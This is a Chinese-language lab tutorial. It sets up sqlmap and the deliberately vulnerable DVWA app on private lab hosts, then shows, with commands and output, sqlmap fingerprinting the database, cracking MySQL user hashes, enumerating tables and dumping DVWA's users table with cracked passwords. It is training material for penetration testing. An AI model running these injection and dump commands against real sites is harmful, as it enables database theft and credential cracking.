(1).SQL概念
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。它是利用現有應用程序,可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫。比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。例:12306.cn和csdn等網站帳號和密碼的泄露,都有可能是sql注入導致的。
(2).SQLmap
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。官網:http://sqlmap.org/
(3).實驗環境
youxi1 192.168.1.6 SQLmap
youxi2 192.168.1.7 滲透測試演練系統DVWA
(4).youxi1上安裝SQLmap
安裝python
[root@youxi1 ~]# yum -y install python [root@youxi1 ~]# python -V Python 2.7.5
然后將下載好的SQLmap源碼包上傳,並解壓運行.
[root@youxi1 ~]# cd /usr/local/
[root@youxi1 local]# tar zxf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz
[root@youxi1 local]# ls
bin include libexec sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz
etc lib sbin sqlmapproject-sqlmap-7eab1bc
games lib64 share src
[root@youxi1 local]# mv sqlmapproject-sqlmap-7eab1bc/ sqlmap/ //文件夾重命名
[root@youxi1 local]# cd sqlmap
[root@youxi1 sqlmap]# ls //python是解釋型
doc lib procs shell sqlmap.conf tamper txt waf
extra plugins README.md sqlmapapi.py sqlmap.py thirdparty udf xml
[root@youxi1 sqlmap]# ./sqlmap.py //python是解釋型語言,類似shell,不需要編譯可以直接運行
___
__H__
___ ___[.]_____ ___ ___ {1.0.10.24#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
Usage: python sqlmap.py [options]
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help
創建一個軟鏈接
[root@youxi1 sqlmap]# ln -s /usr/local/sqlmap/sqlmap.py /usr/bin/sqlmap
[root@youxi1 sqlmap]# sqlmap -h
___
__H__
___ ___[.]_____ ___ ___ {1.0.10.24#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
Usage: python sqlmap [options]
......
(5).youxi2上安裝滲透測試演練系統DVWA
使用yum命令快速搭建LNMP環境,並進行簡單測試
[root@youxi2 ~]# yum -y install httpd php php-mysql php-gd mariadb-server mariadb
[root@youxi2 ~]# systemctl start httpd && systemctl enable httpd //啟動httpd並設置開機自啟
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
[root@youxi2 ~]# systemctl start mariadb && systemctl enable mariadb //啟動mariadb並設置開機自啟
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
[root@youxi2 ~]# vim /var/www/html/test.php //制作簡單測試頁面
<?php
phpinfo();
?>
[root@youxi2 ~]# mysqladmin -u root password "123456" //設置mysql的root密碼
[root@youxi2 ~]# mysql -uroot -p123456 //嘗試登陸
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 4
Server version: 5.5.60-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
使用Windows查看測試頁面

下載DVWA並上傳(官網:http://www.dvwa.co.uk/),解壓到httpd網頁主目錄
[root@youxi2 ~]# yum -y install unzip [root@youxi2 ~]# unzip -d /var/www/html/ DVWA-1.9.zip [root@youxi2 ~]# ls /var/www/html/ DVWA-1.9 test.php [root@youxi2 ~]# chown -R apache:apache /var/www/html/DVWA-1.9/ [root@youxi2 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php //修改配置文件 $_DVWA[ 'db_password' ] = '123456'; //第18行,數據庫的root密碼
在Windows瀏覽器中輸入http://192.168.1.7/DVWA-1.9/setup.php,進入安裝DVWA界面

這里有兩個錯誤的PHP function allow_url_include: Disabled和reCAPTCHA key: Missing。其中前一個報錯是要求開啟php中的allow_url_include參數,后一個報錯實際是需要reCAPTCHA私鑰和公鑰。
[root@youxi2 ~]# vim /etc/php.ini allow_url_include = On //第815行,開啟allow_url_include [root@youxi2 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php $_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg'; //第26行和第27行 $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ'; [root@youxi2 ~]# systemctl restart httpd //重啟httpd
刷新頁面,顯示如下正常頁面即可安裝

安裝完成后會自動跳轉登陸頁面http://192.168.1.7/DVWA-1.9/login.php,輸入賬號密碼登陸。賬號密碼默認為admin和password

登陸成功顯示如下頁面

(6).擴展:reCAPTCHA
1)概念
CMU設計了一個名叫reCAPTCHA的強大系統,讓他們的電腦去向人類求助。具體做法是:將OCR(光學字符識別)軟件無法識別的文字掃描圖傳給世界各大網站,用以替換原來的驗證碼圖片;那些網站的用戶在正確識別出這些文字之后,其答案便會被傳回CMU。
OCR概述:OCR (Optical Character Recognition,光學字符識別)是指電子設備(例如掃描儀或數碼相機)檢查紙上打印的字符,通過檢測暗、亮的模式確定其形狀,然后用字符識別方法將形狀翻譯成計算機文字的過程;
2)生成自己的谷歌開源免費驗證碼reCAPTCHA的公鑰和私鑰
訪問https://www.google.com/recaptcha/admin/create(需要VPN)並用google賬戶登錄,在文本框輸入自己網站的網址,如global-key.mycompany.com ,點擊create key,生成Public Key和Private Key。
(7).實驗
SQLmap語法:SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等。具體使用sqlmap -h詳細查看。
1)枚舉登陸數據的用戶名和密碼
使用SQLmap之前需要得到當前會話的cookie等信息,用來在滲透過程中維持連接狀態。而Cookie使用其復數形式時稱為cookies,是指某些網站為了識別用戶的身份、進行session跟蹤,而存儲在用戶本地終端上的數據(通常是經過加密)。只要登錄過網站,就會在用戶本地產生cookie,主要用於身份識別、進行session會話跟蹤。
如何找到Cookies值呢?如果使用的是谷歌瀏覽器,按F12-->找到Application-->選擇其中的Cookies-->最后可以在里面找到對應的值。

另外為了方便測試,這里將DVWA安全設置為低

准備一個SQL注入點

最后整理一下:注入點http://192.168.1.7/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#,Cookies值"PHPSESSID=7gcmsq19o55bv28uei1jn2stg1;security=low"
開始執行sqlmap
[root@youxi1 sqlmap]# sqlmap -u "http://192.168.1.7/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookies="PHPSESSID=7gcmsq19o55bv28uei1jn2stg1;security=low" -b --current-db --current-user ...... //第一個交互說,這個后台數據庫管理系統像是Mysql,是否直接跳過不再掃描其他類型的數據庫 it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]Y
//第二個交互說,是否想要測試一些Mysql的其他項 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]n ......
//第三個交互說,是否繼續測試別的 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]N ...... [19:33:07] [INFO] testing MySQL [19:33:07] [INFO] confirming MySQL [19:33:07] [INFO] the back-end DBMS is MySQL [19:33:07] [INFO] fetching banner web server operating system: Linux CentOS //系統類型 web application technology: Apache 2.4.6, PHP 5.4.16 //環境 back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) banner: '5.5.60-MariaDB' //mariadb版本 [19:33:07] [INFO] fetching current user current user: 'root@localhost' //當前數據庫用戶 [19:33:07] [INFO] fetching current database current database: 'dvwa' //當前數據庫 [19:33:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.7' [*] shutting down at 19:33:07
sqlmap命令選項說明:
-u:指定目標URL,sql注入點;
--cookie : 當前會話的cookie值;
-b : 獲取數據庫類型,檢索數據庫管理系統的標識;
--current-db : 獲取當前數據庫;
--current-user :獲取當前登錄數據庫使用的用戶。
2)使用命令枚舉所有登陸mysql數據庫的用戶名和密碼hash值,后期可以對密碼hash值進行破解,生成明文密碼
[root@youxi1 sqlmap]# sqlmap -u "http://192.168.1.7/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="PHPSESSID=7gcmsq19o55bv28uei1jn2stg1;security=low" --string="Surname" --users --password
......
//是否將哈希存儲到臨時文件中,以便最終使用其他工具進行進一步處理
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]y
......
//是否對檢索到的密碼哈希執行基於字典的攻擊,即是否解析密碼為明文密碼
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]Y
[20:30:40] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
//1是使用默認字典(默認),2自定義字典文件,3包含字典文件列表的文件
[1] default dictionary file '/usr/local/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> //默認1
[20:33:18] [INFO] using default dictionary
//是否要使用常用密碼后綴(慢!)
do you want to use common password suffixes? (slow!) [y/N]y
......
database management system users [6]: //數據庫用戶列表
[*] ''@'localhost'
[*] ''@'youxi2'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'root'@'youxi2'
......
[20:44:44] [INFO] starting dictionary-based cracking (mysql_passwd)
[20:44:44] [INFO] starting 4 processes
[20:44:44] [INFO] cracked password '123456' for user 'root' //123456為root用戶的密碼
database management system users password hashes:
[*] root [2]:
password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 //密碼的哈希值
clear-text password: 123456 //明文密碼
password hash: NULL
[20:44:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.7'
sqlmap命令選項說明:
--string : 當查詢可用時用來匹配頁面中的字符串;
--users : 枚舉DBMS用戶;(DBMS數據庫管理系統)
--password : 枚舉DBMS用戶密碼hash。
3)枚舉dvwa庫中的表
[root@youxi1 sqlmap]# sqlmap -u "http://192.168.1.7/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="PHPSESSID=7gcmsq19o55bv28uei1jn2stg1;security=low" -D dvwa --tables ...... Database: dvwa [2 tables] +-----------+ | guestbook | | users | +-----------+ [21:16:09] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.7' [*] shutting down at 21:16:09
sqlmap命令選項說明:
-D : 要枚舉的DBMS數據庫;
--tables:枚舉DBMS數據庫中的數據表。
4)獲取dvwa庫中的users表的列名稱
[root@youxi1 sqlmap]# sqlmap -u "http://192.168.1.7/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="PHPSESSID=7gcmsq19o55bv28uei1jn2stg1;security=low" -D dvwa -T users --columns ...... Database: dvwa Table: users [8 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(15) | | avatar | varchar(70) | | failed_login | int(3) | | first_name | varchar(15) | | last_login | timestamp | | last_name | varchar(15) | | password | varchar(32) | | user_id | int(6) | +--------------+-------------+ [21:25:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.7' [*] shutting down at 21:25:29
sqlmap命令選項說明:
-T : 要枚舉的DBMS數據庫表;
--columns : 枚舉DBMS數據庫表中的所有列。
5)拖庫,將dvwa庫中的users表中
[root@youxi1 sqlmap]# sqlmap -u "http://192.168.1.7/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="PHPSESSID=7gcmsq19o55bv28uei1jn2stg1;security=low" -D dvwa -T users -C user,password --dump ...... do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]y [21:46:06] [INFO] writing hashes to a temporary file '/tmp/sqlmapRAF75510073/sqlmaphashes-oREeV4.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] Y [21:46:20] [INFO] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/local/sqlmap/txt/wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > [21:46:33] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] y ...... Database: dvwa Table: users [5 entries] +---------+---------------------------------------------+ | user | password | +---------+---------------------------------------------+ | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | +---------+---------------------------------------------+ [21:47:05] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.1.7/dump/dvwa/users.csv' [21:47:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.7' [*] shutting down at 21:47:05
sqlmap命令選項說明:
--dump : 轉儲DBMS數據表項。
